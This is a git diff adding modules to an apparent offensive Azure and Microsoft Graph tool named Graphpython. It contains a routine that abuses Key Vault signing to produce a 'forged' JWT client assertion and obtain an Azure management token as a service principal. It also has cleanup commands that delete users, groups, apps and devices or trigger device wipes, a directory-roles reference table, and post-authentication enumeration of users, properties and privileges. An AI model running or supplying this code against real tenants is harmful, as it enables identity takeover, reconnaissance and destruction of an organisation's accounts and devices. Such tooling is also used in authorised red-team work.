+ print("=" * 80)
+
+ try:
+ kvURI = input("\nEnter Key Vault Certificate Identifier URL: ").strip()
+ except KeyboardInterrupt:
+ sys.exit()
+
+ keyName = kvURI.split('/certificates/', 1)[-1].split('/', 1)[0]
+ # cert details
+ kv_uri = f"{kvURI.split('/certificates/')[0]}/certificates?api-version=7.3"
+
+ headers = {
+ "Authorization": f"Bearer {get_access_token(args.token)}"
+ }
+
+ response = requests.get(kv_uri, headers=headers)
+ response.raise_for_status()
+ certs = response.json()
+ cert_uri = next((c for c in certs['value'] if keyName in c['id']), None)
+
+ if not cert_uri:
+ raise Exception("Certificate not found.")
+
+ cert_id = cert_uri['id']
+ cert_uri_with_version = f"{cert_id}?api-version=7.3"
+ response = requests.get(cert_uri_with_version, headers=headers)
+ response.raise_for_status()
+ certificate = response.json()
+ x5t = certificate.get('x5t')
+ kid = certificate.get('kid')
+
+ print_green("\n[+] Certificate Details Obtained!")
+ print(f"kid: {kid or 'N/A'}")
+ print(f"x5t: {x5t or 'N/A'}")
+
+ # create JWT
+ print_green("\n[+] Forged JWT:")
+ app_id = args.id
+ audience = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token"
+ now = datetime.now(timezone.utc)
+ jwt_expiration = int((now + timedelta(minutes=2)).timestamp())
+ not_before = int(now.timestamp())
+
+ jwt_header = {
+ "x5t": x5t,
+ "typ": "JWT",
+ "alg": "RS256"
+ }
+
+ jwt_payload = {
+ "exp": jwt_expiration,
+ "sub": app_id,
+ "nbf": not_before,
+ "jti": str(uuid.uuid4()),
+ "aud": audience,
+ "iss": app_id
+ }
+ def base64url_encode(data):
+ return base64.urlsafe_b64encode(data.encode('utf-8')).decode('utf-8').rstrip('=')
+
+ # encode header and payload
+ header_encoded = base64url_encode(json.dumps(jwt_header))
+ payload_encoded = base64url_encode(json.dumps(jwt_payload))
+
+ # construct unsigned JWT
+ unsigned_jwt = f"{header_encoded}.{payload_encoded}"
+ jwt_sha256_hash = hashlib.sha256(unsigned_jwt.encode()).digest()
+ jwt_sha256_hash_b64 = base64.urlsafe_b64encode(jwt_sha256_hash).decode().rstrip('=')
+
+ # sign JWT
+ new_uri = f"{kid}/sign?api-version=7.3"
+ user_agent = get_user_agent(args)
+ headers = {
+ "Authorization": f"Bearer {get_access_token(args.token)}",
+ "Accept": "application/json",
+ "User-Agent": user_agent
+
+ }
+ request_body = {
+ "alg": "RS256",
+ "value": jwt_sha256_hash_b64
+ }
+
+ response = requests.post(new_uri, headers=headers, json=request_body)
+ response.raise_for_status()
+ signature = response.json()['value']
+ signed_jwt = f"{unsigned_jwt}.{signature}"
+ print(signed_jwt)
+
+ # request azure management token
+ jwt_login = f"https://login.microsoftonline.com/{args.tenant}/oauth2/v2.0/token"
+ parameters = {
+ "client_id": args.id,
+ "client_assertion": signed_jwt,
+ "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer",
+ "scope": "https://management.azure.com/.default",
+ "grant_type": "client_credentials"
+ }
+
+ response = requests.post(jwt_login, data=parameters)
+
+ if not response.ok:
+ print_red(f"\n[-] Error: {response.status_code} ({response.reason}). {response.text}")
+ else:
+ print_green("\n[+] Azure Management Token Obtained!")
+ print(f"[*] Application ID: {args.id}")
+ print(f"[*] Tenant ID: {args.tenant}")
+ print("[*] Scope: https://management.azure.com/.default")
+ response_json = response.json()
+ for key, value in response_json.items():
+ print(f"[*] {key}: {value}")
+ print("=" * 80)
\ No newline at end of file
diff --git a/Graphpython/commands/cleanup.py b/Graphpython/commands/cleanup.py
new file mode 100644
index 0000000..8e51460
--- /dev/null
+++ b/Graphpython/commands/cleanup.py
@@ -0,0 +1,182 @@
+import requests
+from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token
+
+###########
+# Cleanup #
+###########
+
+# delete-user
+def delete_user(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Delete-User command")
+ return
+
+ print_yellow("[*] Delete-User")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.delete(api_url, headers=headers)
+ if response.ok:
+ print_green(f"[+] User deleted")
+ else:
+ print_red(f"[-] Failed to delete user: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# delete-group
+def delete_group(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Delete-Group command")
+ return
+
+ print_yellow("[*] Delete-Group")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.delete(api_url, headers=headers)
+ if response.ok:
+ print_green(f"[+] Group deleted")
+ else:
+ print_red(f"[-] Failed to delete group: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# remove-groupmember
+def remove_groupmember(args):
+ if not args.id:
+ print_red("[-] Error: --id groupid,objectid required for Remove-GroupMember command")
+ return
+
+ ids = args.id.split(',')
+ if len(ids) != 2:
+ print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).")
+ return
+
+ group_id, member_id = ids[0].strip(), ids[1].strip()
+ print_yellow("[*] Remove-GroupMember")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/{member_id}/$ref"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.delete(api_url, headers=headers)
+ if response.ok:
+ print_green(f"[+] Group member removed")
+ else:
+ print_red(f"[-] Failed to remove group member: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# delete-application
+def delete_application(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Delete-Application command")
+ return
+
+ print_yellow("[*] Delete-Application")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.delete(api_url, headers=headers)
+ if response.ok:
+ print_green(f"[+] Application deleted")
+ else:
+ print_red(f"[-] Failed to delete application: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# delete-device
+def delete_device(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Delete-Device command")
+ return
+
+ print_yellow("[*] Delete-Device")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/devices/{args.id}"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.delete(api_url, headers=headers)
+ if response.ok:
+ print_green(f"[+] Device deleted")
+ else:
+ print_red(f"[-] Failed to delete device: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# wipe-device
+def wipe_device(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Wipe-Device command")
+ return
+
+ print_yellow("[*] Wipe-Device")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/wipe"
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ body = {
+ "keepEnrollmentData": True,
+ "keepUserData": True,
+ "useProtectedWipe": False
+ }
+
+ response = requests.post(api_url, headers=headers, json=body)
+ if response.ok:
+ print_green(f"[+] Device wipe initiated successfully")
+ else:
+ print_red(f"[-] Failed to initiate device wipe: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# retire-device
+def retire_device(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Retire-Device command")
+ return
+
+ print_yellow("[*] Retire-Device")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/retire"
+ user_agent = get_user_agent(args)
+
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.post(api_url, headers=headers)
+ if response.ok:
+ print_green(f"[+] Device retire initiated successfully")
+ else:
+ print_red(f"[-] Failed to initiate device retire: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
\ No newline at end of file
diff --git a/Graphpython/commands/directoryroles.txt b/Graphpython/commands/directoryroles.txt
new file mode 100644
index 0000000..59c3689
--- /dev/null
+++ b/Graphpython/commands/directoryroles.txt
@@ -0,0 +1,526 @@
+
+
+
+| Role |
+Description |
+Template ID |
+
+
+
+
+| Application Administrator |
+Can create and manage all aspects of app registrations and enterprise apps.
 |
+9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3 |
+
+
+| Application Developer |
+Can create application registrations independent of the 'Users can register applications' setting.
 |
+cf1c38e5-3621-4004-a7cb-879624dced7c |
+
+
+| Attack Payload Author |
+Can create attack payloads that an administrator can initiate later. |
+9c6df0f2-1e7c-4dc3-b195-66dfbd24aa8f |
+
+
+| Attack Simulation Administrator |
+Can create and manage all aspects of attack simulation campaigns. |
+c430b396-e693-46cc-96f3-db01bf8bb62a |
+
+
+| Attribute Assignment Administrator |
+Assign custom security attribute keys and values to supported Microsoft Entra objects. |
+58a13ea3-c632-46ae-9ee0-9c0d43cd7f3d |
+
+
+| Attribute Assignment Reader |
+Read custom security attribute keys and values for supported Microsoft Entra objects. |
+ffd52fa5-98dc-465c-991d-fc073eb59f8f |
+
+
+| Attribute Definition Administrator |
+Define and manage the definition of custom security attributes. |
+8424c6f0-a189-499e-bbd0-26c1753c96d4 |
+
+
+| Attribute Definition Reader |
+Read the definition of custom security attributes. |
+1d336d2c-4ae8-42ef-9711-b3604ce3fc2c |
+
+
+| Attribute Log Administrator |
+Read audit logs and configure diagnostic settings for events related to custom security attributes. |
+5b784334-f94b-471a-a387-e7219fc49ca2 |
+
+
+| Attribute Log Reader |
+Read audit logs related to custom security attributes. |
+9c99539d-8186-4804-835f-fd51ef9e2dcd |
+
+
+| Authentication Administrator |
+Can access to view, set and reset authentication method information for any non-admin user.
 |
+c4e39bd9-1100-46d3-8c65-fb160da0071f |
+
+
+| Authentication Extensibility Administrator |
+Customize sign in and sign up experiences for users by creating and managing custom authentication extensions.
 |
+25a516ed-2fa0-40ea-a2d0-12923a21473a |
+
+
+| Authentication Policy Administrator |
+Can create and manage the authentication methods policy, tenant-wide MFA settings, password protection policy, and verifiable credentials. |
+0526716b-113d-4c15-b2c8-68e3c22b9f80 |
+
+
+| Azure DevOps Administrator |
+Can manage Azure DevOps policies and settings. |
+e3973bdf-4987-49ae-837a-ba8e231c7286 |
+
+
+| Azure Information Protection Administrator |
+Can manage all aspects of the Azure Information Protection product. |
+7495fdc4-34c4-4d15-a289-98788ce399fd |
+
+
+| B2C IEF Keyset Administrator |
+Can manage secrets for federation and encryption in the Identity Experience Framework (IEF).
 |
+aaf43236-0c0d-4d5f-883a-6955382ac081 |
+
+
+| B2C IEF Policy Administrator |
+Can create and manage trust framework policies in the Identity Experience Framework (IEF). |
+3edaf663-341e-4475-9f94-5c398ef6c070 |
+
+
+| Billing Administrator |
+Can perform common billing related tasks like updating payment information. |
+b0f54661-2d74-4c50-afa3-1ec803f12efe |
+
+
+| Cloud App Security Administrator |
+Can manage all aspects of the Defender for Cloud Apps product. |
+892c5842-a9a6-463a-8041-72aa08ca3cf6 |
+
+
+| Cloud Application Administrator |
+Can create and manage all aspects of app registrations and enterprise apps except App Proxy.
 |
+158c047a-c907-4556-b7ef-446551a6b5f7 |
+
+
+| Cloud Device Administrator |
+Limited access to manage devices in Microsoft Entra ID.
 |
+7698a772-787b-4ac8-901f-60d6b08affd2 |
+
+
+| Compliance Administrator |
+Can read and manage compliance configuration and reports in Microsoft Entra ID and Microsoft 365. |
+17315797-102d-40b4-93e0-432062caca18 |
+
+
+| Compliance Data Administrator |
+Creates and manages compliance content. |
+e6d1a23a-da11-4be4-9570-befc86d067a7 |
+
+
+| Conditional Access Administrator |
+Can manage Conditional Access capabilities.
 |
+b1be1c3e-b65d-4f19-8427-f6fa0d97feb9 |
+
+
+| Customer LockBox Access Approver |
+Can approve Microsoft support requests to access customer organizational data. |
+5c4f9dcd-47dc-4cf7-8c9a-9e4207cbfc91 |
+
+
+| Desktop Analytics Administrator |
+Can access and manage Desktop management tools and services. |
+38a96431-2bdf-4b4c-8b6e-5d3d8abac1a4 |
+
+
+| Directory Readers |
+Can read basic directory information. Commonly used to grant directory read access to applications and guests. |
+88d8e3e3-8f55-4a1e-953a-9b9898b8876b |
+
+
+| Directory Synchronization Accounts |
+Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services.
 |
+d29b2b05-8046-44ba-8758-1e26182fcf32 |
+
+
+| Directory Writers |
+Can read and write basic directory information. For granting access to applications, not intended for users.
 |
+9360feb5-f418-4baa-8175-e2a00bac4301 |
+
+
+| Domain Name Administrator |
+Can manage domain names in cloud and on-premises.
 |
+8329153b-31d0-4727-b945-745eb3bc5f31 |
+
+
+| Dynamics 365 Administrator |
+Can manage all aspects of the Dynamics 365 product. |
+44367163-eba1-44c3-98af-f5787879f96a |
+
+
+| Dynamics 365 Business Central Administrator |
+Access and perform all administrative tasks on Dynamics 365 Business Central environments. |
+963797fb-eb3b-4cde-8ce3-5878b3f32a3f |
+
+
+| Edge Administrator |
+Manage all aspects of Microsoft Edge. |
+3f1acade-1e04-4fbc-9b69-f0302cd84aef |
+
+
+| Exchange Administrator |
+Can manage all aspects of the Exchange product. |
+29232cdf-9323-42fd-ade2-1d097af3e4de |
+
+
+| Exchange Recipient Administrator |
+Can create or update Exchange Online recipients within the Exchange Online organization. |
+31392ffb-586c-42d1-9346-e59415a2cc4e |
+
+
+| External ID User Flow Administrator |
+Can create and manage all aspects of user flows. |
+6e591065-9bad-43ed-90f3-e9424366d2f0 |
+
+
+| External ID User Flow Attribute Administrator |
+Can create and manage the attribute schema available to all user flows. |
+0f971eea-41eb-4569-a71e-57bb8a3eff1e |
+
+
+| External Identity Provider Administrator |
+Can configure identity providers for use in direct federation.
 |
+be2f45a1-457d-42af-a067-6ec1fa63bc45 |
+
+
+| Fabric Administrator |
+Can manage all aspects of the Fabric and Power BI products. |
+a9ea8996-122f-4c74-9520-8edcd192826c |
+
+
+| Global Administrator |
+Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities.
 |
+62e90394-69f5-4237-9190-012177145e10 |
+
+
+| Global Reader |
+Can read everything that a Global Administrator can, but not update anything.
 |
+f2ef992c-3afb-46b9-b7cf-a126ee74c451 |
+
+
+| Global Secure Access Administrator |
+Create and manage all aspects of Microsoft Entra Internet Access and Microsoft Entra Private Access, including managing access to public and private endpoints. |
+ac434307-12b9-4fa1-a708-88bf58caabc1 |
+
+
+| Groups Administrator |
+Members of this role can create/manage groups, create/manage groups settings like naming and expiration policies, and view groups activity and audit reports. |
+fdd7a751-b60b-444a-984c-02652fe8fa1c |
+
+
+| Guest Inviter |
+Can invite guest users independent of the 'members can invite guests' setting. |
+95e79109-95c0-4d8e-aee3-d01accf2d47b |
+
+
+| Helpdesk Administrator |
+Can reset passwords for non-administrators and Helpdesk Administrators.
 |
+729827e3-9c14-49f7-bb1b-9608f156bbb8 |
+
+
+| Hybrid Identity Administrator |
+Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health.
 |
+8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2 |
+
+
+| Identity Governance Administrator |
+Manage access using Microsoft Entra ID for identity governance scenarios. |
+45d8d3c5-c802-45c6-b32a-1d70b5e1e86e |
+
+
+| Insights Administrator |
+Has administrative access in the Microsoft 365 Insights app. |
+eb1f4a8d-243a-41f0-9fbd-c7cdf6c5ef7c |
+
+
+| Insights Analyst |
+Access the analytical capabilities in Microsoft Viva Insights and run custom queries. |
+25df335f-86eb-4119-b717-0ff02de207e9 |
+
+
+| Insights Business Leader |
+Can view and share dashboards and insights via the Microsoft 365 Insights app. |
+31e939ad-9672-4796-9c2e-873181342d2d |
+
+
+| Intune Administrator |
+Can manage all aspects of the Intune product.
 |
+3a2c62db-5318-420d-8d74-23affee5d9d5 |
+
+
+| Kaizala Administrator |
+Can manage settings for Microsoft Kaizala. |
+74ef975b-6605-40af-a5d2-b9539d836353 |
+
+
+| Knowledge Administrator |
+Can configure knowledge, learning, and other intelligent features. |
+b5a8dcf3-09d5-43a9-a639-8e29ef291470 |
+
+
+| Knowledge Manager |
+Can organize, create, manage, and promote topics and knowledge. |
+744ec460-397e-42ad-a462-8b3f9747a02c |
+
+
+| License Administrator |
+Can manage product licenses on users and groups. |
+4d6ac14f-3453-41d0-bef9-a3e0c569773a |
+
+
+| Lifecycle Workflows Administrator |
+Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID.
 |
+59d46f88-662b-457b-bceb-5c3809e5908f |
+
+
+| Message Center Privacy Reader |
+Can read security messages and updates in Office 365 Message Center only. |
+ac16e43d-7b2d-40e0-ac05-243ff356ab5b |
+
+
+| Message Center Reader |
+Can read messages and updates for their organization in Office 365 Message Center only. |
+790c1fb9-7f7d-4f88-86a1-ef1f95c05c1b |
+
+
+| Microsoft 365 Migration Administrator |
+Perform all migration functionality to migrate content to Microsoft 365 using Migration Manager. |
+8c8b803f-96e1-4129-9349-20738d9f9652 |
+
+
+| Microsoft Entra Joined Device Local Administrator |
+Users assigned to this role are added to the local administrators group on Microsoft Entra joined devices. |
+9f06204d-73c1-4d4c-880a-6edb90606fd8 |
+
+
+| Microsoft Hardware Warranty Administrator |
+Create and manage all aspects warranty claims and entitlements for Microsoft manufactured hardware, like Surface and HoloLens. |
+1501b917-7653-4ff9-a4b5-203eaf33784f |
+
+
+| Microsoft Hardware Warranty Specialist |
+Create and read warranty claims for Microsoft manufactured hardware, like Surface and HoloLens. |
+281fe777-fb20-4fbb-b7a3-ccebce5b0d96 |
+
+
+| Modern Commerce Administrator |
+Can manage commercial purchases for a company, department or team. |
+d24aef57-1500-4070-84db-2666f29cf966 |
+
+
+| Network Administrator |
+Can manage network locations and review enterprise network design insights for Microsoft 365 Software as a Service applications. |
+d37c8bed-0711-4417-ba38-b4abe66ce4c2 |
+
+
+| Office Apps Administrator |
+Can manage Office apps cloud services, including policy and settings management, and manage the ability to select, unselect and publish 'what's new' feature content to end-user's devices. |
+2b745bdf-0803-4d80-aa65-822c4493daac |
+
+
+| Organizational Branding Administrator |
+Manage all aspects of organizational branding in a tenant. |
+92ed04bf-c94a-4b82-9729-b799a7a4c178 |
+
+
+| Organizational Messages Approver |
+Review, approve, or reject new organizational messages for delivery in the Microsoft 365 admin center before they are sent to users. |
+e48398e2-f4bb-4074-8f31-4586725e205b |
+
+
+| Organizational Messages Writer |
+Write, publish, manage, and review the organizational messages for end-users through Microsoft product surfaces. |
+507f53e4-4e52-4077-abd3-d2e1558b6ea2 |
+
+
+| Partner Tier1 Support |
+Do not use - not intended for general use.
 |
+4ba39ca4-527c-499a-b93d-d9b492c50246 |
+
+
+| Partner Tier2 Support |
+Do not use - not intended for general use.
 |
+e00e864a-17c5-4a4b-9c06-f5b95a8d5bd8 |
+
+
+| Password Administrator |
+Can reset passwords for non-administrators and Password Administrators.
 |
+966707d0-3269-4727-9be2-8c3a10f19b9d |
+
+
+| Permissions Management Administrator |
+Manage all aspects of Microsoft Entra Permissions Management. |
+af78dc32-cf4d-46f9-ba4e-4428526346b5 |
+
+
+| Power Platform Administrator |
+Can create and manage all aspects of Microsoft Dynamics 365, Power Apps and Power Automate. |
+11648597-926c-4cf3-9c36-bcebb0ba8dcc |
+
+
+| Printer Administrator |
+Can manage all aspects of printers and printer connectors. |
+644ef478-e28f-4e28-b9dc-3fdde9aa0b1f |
+
+
+| Printer Technician |
+Can register and unregister printers and update printer status. |
+e8cef6f1-e4bd-4ea8-bc07-4b8d950f4477 |
+
+
+| Privileged Authentication Administrator |
+Can access to view, set and reset authentication method information for any user (admin or non-admin).
 |
+7be44c8a-adaf-4e2a-84d6-ab2649e08a13 |
+
+
+| Privileged Role Administrator |
+Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management.
 |
+e8611ab8-c189-46e8-94e1-60213ab1f814 |
+
+
+| Reports Reader |
+Can read sign-in and audit reports. |
+4a5d8f65-41da-4de4-8968-e035b65339cf |
+
+
+| Search Administrator |
+Can create and manage all aspects of Microsoft Search settings. |
+0964bb5e-9bdb-4d7b-ac29-58e794862a40 |
+
+
+| Search Editor |
+Can create and manage the editorial content such as bookmarks, Q and As, locations, floorplan. |
+8835291a-918c-4fd7-a9ce-faa49f0cf7d9 |
+
+
+| Security Administrator |
+Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365.
 |
+194ae4cb-b126-40b2-bd5b-6091b380977d |
+
+
+| Security Operator |
+Creates and manages security events.
 |
+5f2222b1-57c3-48ba-8ad5-d4759f1fde6f |
+
+
+| Security Reader |
+Can read security information and reports in Microsoft Entra ID and Office 365.
 |
+5d6b6bb7-de71-4623-b4af-96380a352509 |
+
+
+| Service Support Administrator |
+Can read service health information and manage support tickets. |
+f023fd81-a637-4b56-95fd-791ac0226033 |
+
+
+| SharePoint Administrator |
+Can manage all aspects of the SharePoint service. |
+f28a1f50-f6e7-4571-818b-6a12f2af6b6c |
+
+
+| SharePoint Embedded Administrator |
+Manage all aspects of SharePoint Embedded containers. |
+1a7d78b6-429f-476b-b8eb-35fb715fffd4 |
+
+
+| Skype for Business Administrator |
+Can manage all aspects of the Skype for Business product. |
+75941009-915a-4869-abe7-691bff18279e |
+
+
+| Teams Administrator |
+Can manage the Microsoft Teams service. |
+69091246-20e8-4a56-aa4d-066075b2a7a8 |
+
+
+| Teams Communications Administrator |
+Can manage calling and meetings features within the Microsoft Teams service. |
+baf37b3a-610e-45da-9e62-d9d1e5e8914b |
+
+
+| Teams Communications Support Engineer |
+Can troubleshoot communications issues within Teams using advanced tools. |
+f70938a0-fc10-4177-9e90-2178f8765737 |
+
+
+| Teams Communications Support Specialist |
+Can troubleshoot communications issues within Teams using basic tools. |
+fcf91098-03e3-41a9-b5ba-6f0ec8188a12 |
+
+
+| Teams Devices Administrator |
+Can perform management related tasks on Teams certified devices. |
+3d762c5a-1b6c-493f-843e-55a3b42923d4 |
+
+
+| Teams Telephony Administrator |
+Manage voice and telephony features and troubleshoot communication issues within the Microsoft Teams service. |
+aa38014f-0993-46e9-9b45-30501a20909d |
+
+
+| Tenant Creator |
+Create new Microsoft Entra or Azure AD B2C tenants. |
+112ca1a2-15ad-4102-995e-45b0bc479a6a |
+
+
+| Usage Summary Reports Reader |
+Read Usage reports and Adoption Score, but can't access user details. |
+75934031-6c7e-415a-99d7-48dbd49e875e |
+
+
+| User Administrator |
+Can manage all aspects of users and groups, including resetting passwords for limited admins.
 |
+fe930be7-5e62-47db-91af-98c3a49a38b1 |
+
+
+| User Experience Success Manager |
+View product feedback, survey results, and reports to find training and communication opportunities. |
+27460883-1df1-4691-b032-3b79643e5e63 |
+
+
+| Virtual Visits Administrator |
+Manage and share Virtual Visits information and metrics from admin centers or the Virtual Visits app. |
+e300d9e7-4a2b-4295-9eff-f1c78b36cc98 |
+
+
+| Viva Goals Administrator |
+Manage and configure all aspects of Microsoft Viva Goals. |
+92b086b3-e367-4ef2-b869-1de128fb986e |
+
+
+| Viva Pulse Administrator |
+Can manage all settings for Microsoft Viva Pulse app. |
+87761b17-1ed2-4af3-9acd-92a150038160 |
+
+
+| Windows 365 Administrator |
+Can provision and manage all aspects of Cloud PCs. |
+11451d60-acb2-45eb-a7d6-43d0f0125c13 |
+
+
+| Windows Update Deployment Administrator |
+Can create and manage all aspects of Windows Update deployments through the Windows Update for Business deployment service. |
+32696413-001a-46ae-978c-ce0f6b3620d2 |
+
+
+| Yammer Administrator |
+Manage all aspects of the Yammer service. |
+810a2642-a034-447f-a5e8-41beaa378541 |
+
+
+
\ No newline at end of file
diff --git a/Graphpython/commands/enum.py b/Graphpython/commands/enum.py
new file mode 100644
index 0000000..b9c47ff
--- /dev/null
+++ b/Graphpython/commands/enum.py
@@ -0,0 +1,1108 @@
+import requests
+import json
+import os
+import sys
+import time
+from bs4 import BeautifulSoup
+from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token
+from Graphpython.utils.helpers import graph_api_get
+
+##########################
+# Post-Auth Enuemeration #
+##########################
+
+# get-currentuser
+def get_currentuser(args):
+ print_yellow("[*] Get-CurrentUser")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ for key, value in response_json.items():
+ if key != "@odata.context":
+ print(f"{key}: {value}")
+ else:
+ print_red(f"[-] Failed to retrieve current user: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# get-currentuseractivities
+def get_currentuseractivities(args):
+ print_yellow("[*] Get-CurrentUserActivities")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/activities"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-orginfo
+def get_orginfo(args):
+ print_yellow("[*] Get-OrgInfo")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/organization"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-domains
+def get_domains(args):
+ print_yellow("[*] Get-Domains")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/domains"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-user
+def get_user(args):
+ print_yellow("[*] Get-User")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/users"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ access_token = get_access_token(args.token)
+ headers = {
+ 'Authorization': f'Bearer {access_token}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ if args.id:
+ for key, value in response_json.items():
+ if key != "@odata.context":
+ print(f"{key}: {value}")
+ else:
+ if 'value' in response_json:
+ for user in response_json['value']:
+ for key, value in user.items():
+ print(f"{key}: {value}")
+ print()
+ else:
+ print_red("[-] No users found or unexpected response format")
+ else:
+ print_red(f"[-] Failed to retrieve user(s): {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# get-userproperties
+def get_userproperties(args):
+ properties = [
+ "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans",
+ "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor",
+ "country", "createdDateTime", "department", "displayName", "employeeId",
+ "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests",
+ "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification",
+ "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone",
+ "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName",
+ "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier",
+ "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName",
+ "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation",
+ "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities",
+ "schools", "showInAddressList", "skills", "state", "streetAddress",
+ "surname", "usageLocation", "userPrincipalName", "userType", "webUrl"
+ ]
+
+ print_yellow("[*] Get-UserProperties")
+ print("=" * 80)
+
+ for p in properties:
+ if not args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/me?$select={p}"
+ else:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}?$select={p}"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ print(f"{p}: {response_json.get(p, 'N/A')}")
+ else:
+ print_red(f"[-] Failed to retrieve {p}: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# get-userprivileges
+def get_userprivileges(args):
+ print_yellow("[*] Get-UserPrivileges")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/memberOf"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/memberOf"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-usertransitivegroupmembership
+def get_usertransitivegroupmembership(args):
+ print_yellow("[*] Get-UserTransitiveGroupMembership")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/transitiveMemberOf"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/transitiveMemberOf"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
